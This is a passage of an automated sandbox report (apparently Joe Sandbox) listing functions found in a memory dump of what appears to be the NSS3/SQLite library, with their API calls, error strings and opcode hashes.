free.MOZGLUE(?,6CE880DD), ref: 6CE8802D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 45d79f32a371315f997b804c463f6a00fd1cd3aaf62410773632647f17af8520
Instruction ID: 9f9dd31bf6596a454462d6fd052a55c505b22522b25bdf8f7798e30528d63804
Opcode Fuzzy Hash: 45d79f32a371315f997b804c463f6a00fd1cd3aaf62410773632647f17af8520
Instruction Fuzzy Hash: 9541D971F221504BDB50AFB9888DB4B3775AB47358F264129F91987B40D732B805CBE1

Function 6CECFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CECFF00

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CECFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CECFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CECFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CECFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CECFF8C

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 84d63c7f34b4f48895c637f6e54092de463b3aa5dc895c18154e9d1f5cc358bf
Instruction ID: 705a7e2124c2b96c99a20020808e98e96a0595d41c376003a698fd0131955acf
Opcode Fuzzy Hash: 84d63c7f34b4f48895c637f6e54092de463b3aa5dc895c18154e9d1f5cc358bf
Instruction Fuzzy Hash: 613137B2A013929BE7108E958D42B5B76B8EF4634CF354139EC28D7B40E735E906C7D2

Function 6CE0E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CE0E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE0E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CE0EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE0EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0EB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6CE0EE04
unknown column "%s" in foreign key definition, xrefs: 6CE0ED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CE0EDC2

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: f0e5897c65561aa62e98dc97f870fd56fe3eae516ee127f00fb4d431ae013239
Instruction ID: cff4bc7c4ec4fd67890e5a55332ef25e02ba1c9a305490e12baccdcf295de37c
Opcode Fuzzy Hash: f0e5897c65561aa62e98dc97f870fd56fe3eae516ee127f00fb4d431ae013239
Instruction Fuzzy Hash: 37028071F059058FDB14CF59C480AAEB7B2FF8A308F2941B9D895AB751D731A852CBE0

Function 6CE17D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE17E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE17E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CE17EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE17F2E

Strings

database corruption, xrefs: 6CE17EE2, 6CE17F23
%s at line %d of [%.10s], xrefs: 6CE17EE7, 6CE17F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE17ED8, 6CE17F08, 6CE17F19

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 06c59b16c2e745766ebc442aa667dff2de7d5a4c383dd73ba9c0a41bfc54707e
Instruction ID: de8b79bb1c2c6f8b967861713317ef6e10df0423bcf1e8e122e25cb43d41deeb
Opcode Fuzzy Hash: 06c59b16c2e745766ebc442aa667dff2de7d5a4c383dd73ba9c0a41bfc54707e
Instruction Fuzzy Hash: 9861B174A082059FDB05CF25C891BAA77B2BF45708F2445A8EC095FB51D731EC66CBA1

Function 6CDFFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDFFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDFFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFFE83

Part of subcall function 6CDFFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CDFFEFA
Part of subcall function 6CDFFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CDFFF3B

Strings

database corruption, xrefs: 6CDFFD6E, 6CDFFE30
%s at line %d of [%.10s], xrefs: 6CDFFD73, 6CDFFE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFFD64, 6CDFFE26

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 588b2508efe1e129f5e2a42012e87dc465cf883deae0bed4e120e43f1af1970f
Instruction ID: 23d8af8e9df0693f0ebd6761897933e5e58e04b7171c2ccf5f297a2664558dc7
Opcode Fuzzy Hash: 588b2508efe1e129f5e2a42012e87dc465cf883deae0bed4e120e43f1af1970f
Instruction Fuzzy Hash: 81517E71A00205DFDB04CFA9C890AAEB7F1BF48308F154069EA15AB762E735ED41CBA0

Function 6CF42F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF42FFD
sqlite3_initialize.NSS3 ref: 6CF43007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF43032
sqlite3_mprintf.NSS3(6CFAAAF9,?), ref: 6CF43073
sqlite3_free.NSS3(?), ref: 6CF430B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF430C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF430BB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 108a58e2d2e4a8b14aabc2360f6b7c1f1ee145605013440be03f4cf7e5d69fe9
Instruction ID: da2144fcdb4067a6e4df1e248df805bd58bd3a01031989d51edd1b3f71c0d8eb
Opcode Fuzzy Hash: 108a58e2d2e4a8b14aabc2360f6b7c1f1ee145605013440be03f4cf7e5d69fe9
Instruction Fuzzy Hash: 1841A471600606ABDB10CF29D880A8ABBF5FF44369F15C628EC6987B41E731F959CBD1

Function 6CEC5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CEC5F0A
TlsGetValue.KERNEL32 ref: 6CEC5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CEC5F2F
PR_Unlock.NSS3(890008E8), ref: 6CEC5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CEC5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CEC5F7D

Part of subcall function 6CEC5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CEC5F82,8B4274C0), ref: 6CEC5248
Part of subcall function 6CEC5220: EnterCriticalSection.KERNEL32(0F6CF90D,?,6CEC5F82,8B4274C0), ref: 6CEC525C
Part of subcall function 6CEC5220: PR_SetError.NSS3(00000000,00000000), ref: 6CEC528E
Part of subcall function 6CEC5220: PR_Unlock.NSS3(0F6CF8F1), ref: 6CEC5299
Part of subcall function 6CEC5220: free.MOZGLUE(00000000), ref: 6CEC52A9

Strings

q]l, xrefs: 6CEC5EDB, 6CEC5F09

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: 3f897495d6db52f68ae9ed4edcf483f528d7b8322d8c1040c8360e7c8949b822
Instruction ID: 552f5646baa0e12780dd6fc6fa4314080c3aed567e897cf21f729ec2be21a564
Opcode Fuzzy Hash: 3f897495d6db52f68ae9ed4edcf483f528d7b8322d8c1040c8360e7c8949b822
Instruction Fuzzy Hash: 3821E7B1E002449FDB04AF64DC41BEFB7B4EF09318F640029E91AA7700E731A954CBD1

Function 6CE88CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE9124D,00000001), ref: 6CE88D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE9124D,00000001), ref: 6CE88D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88D73
PR_Unlock.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88D8C

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE9124D,00000001), ref: 6CE88DBA

Strings

KRAM, xrefs: 6CE88CF9
KRAM, xrefs: 6CE88D3E

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 9ef294aa976f9a175f58a0627d80789e6e2bd2523d89508a5ed40f2400febdfa
Instruction ID: c5f8ca5f51949cad015c016b4f53c4daafee5388d4e134043f216c738f8e090f
Opcode Fuzzy Hash: 9ef294aa976f9a175f58a0627d80789e6e2bd2523d89508a5ed40f2400febdfa
Instruction Fuzzy Hash: 3821AEB5A056018FCB50EF38C48466ABBF4FF45318F25896ADC8C87741EB30E842CB91

Function 6CF80ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF80EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF80EFA

Part of subcall function 6CE6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F2B

Strings

Aborting, xrefs: 6CF80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF80ED9, 6CF80EE5, 6CF80F06, 6CF80F0B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 143cc713cb0f20f121b8f137f7b4d33c2a6eaab09e2bef6013966836c5cbabf6
Instruction ID: 80a047427d7627f90c53015eacbff2a0b4b8aa8a80d810b7083e7a6e7f6429a3
Opcode Fuzzy Hash: 143cc713cb0f20f121b8f137f7b4d33c2a6eaab09e2bef6013966836c5cbabf6
Instruction Fuzzy Hash: 3E0100BAA11204ABCF00AF64DC84DAB3F3CEF42364B404024FD0987B01D671EA508AA2

Function 6CF61C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE64E1D), ref: 6CF61C8A
sqlite3_free.NSS3(00000000), ref: 6CF61CB6

Strings

an index, xrefs: 6CF61C67
a generated column, xrefs: 6CF61C6C
w=l, xrefs: 6CF61C44
non-deterministic use of %s() in %s, xrefs: 6CF61C85
a CHECK constraint, xrefs: 6CF61C76, 6CF61C81

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: 7404895c76ebe7dc2f446dc8affa70135df122d50abd8be7f040983eb1d912f5
Instruction ID: ddcb2fdb560e22eea0ab48ad2bd833ccbbf7ee81e9124f5b6e4dc8b095a71f48
Opcode Fuzzy Hash: 7404895c76ebe7dc2f446dc8affa70135df122d50abd8be7f040983eb1d912f5
Instruction Fuzzy Hash: 6101F7B1A001409BD704BF68D402DB6B7E5EF8634CB16487DED859BB12EB32E867C791

Function 6CF44D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF44DE0

Strings

%s at line %d of [%.10s], xrefs: 6CF44DDA
API call with %s database connection pointer, xrefs: 6CF44DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF44DCB
invalid, xrefs: 6CF44DB8
misuse, xrefs: 6CF44DD5

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: e247041ef00ce92a16a99ac9e29280cb12dedebd956c7e74c79c58dd337c9694
Instruction ID: 5488a106b9291b5e00aca3bd95b52a81d8a61cebf41d56b5217653dac27d9cb2
Opcode Fuzzy Hash: e247041ef00ce92a16a99ac9e29280cb12dedebd956c7e74c79c58dd337c9694
Instruction Fuzzy Hash: C6F0E911E149646BD7004556CC11FC67FB54F01319F5A49A1FD04BBE53D21BAD5083E1

Function 6CF44DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF44E4D

Strings

%s at line %d of [%.10s], xrefs: 6CF44E47
API call with %s database connection pointer, xrefs: 6CF44E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF44E38
invalid, xrefs: 6CF44E25
misuse, xrefs: 6CF44E42

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: cce10a89f0a8e9d8d4152c0ec06472c014d465c9de8fdefd36328abb2b23fd5d
Instruction ID: b1d35adf6eded85d4c7ecc5ca2172e30266e3bc6a90161ab680c89fa908a26d1
Opcode Fuzzy Hash: cce10a89f0a8e9d8d4152c0ec06472c014d465c9de8fdefd36328abb2b23fd5d
Instruction Fuzzy Hash: 55F02711E449286BE7100666DC10FC77F954B01329F1DC4A1EE0877E93D30A9D7146E1

Function 6CE79FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE7A086
EnterCriticalSection.KERNEL32(?), ref: 6CE7A09B
PR_Unlock.NSS3(?), ref: 6CE7A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7A0E9
TlsGetValue.KERNEL32 ref: 6CE7A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE7A12F
PR_Unlock.NSS3(?), ref: 6CE7A148

Part of subcall function 6CE91A40: PR_Now.NSS3(?,00000000,6CE728AD,00000000,?,6CE8F09A,00000000,6CE728AD,6CE793B0,?,6CE793B0,6CE728AD,00000000,?,00000000), ref: 6CE91A65

Part of subcall function 6CE91940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CE94126,?), ref: 6CE91966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7A1A3

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 26d38ea08faacabb87e47ae4e40e6bdf86806d43567bad3583706ee5add1f6f7
Instruction ID: 32173a93f58603caf27a3dec656be7aa022dfc63d9c7fcaa13b22e042c2b393f
Opcode Fuzzy Hash: 26d38ea08faacabb87e47ae4e40e6bdf86806d43567bad3583706ee5add1f6f7
Instruction Fuzzy Hash: 4251F9B6E402009FEB209F75CC48AAB77B8AF8631CB25542DDC1997701EF31E945C6B1

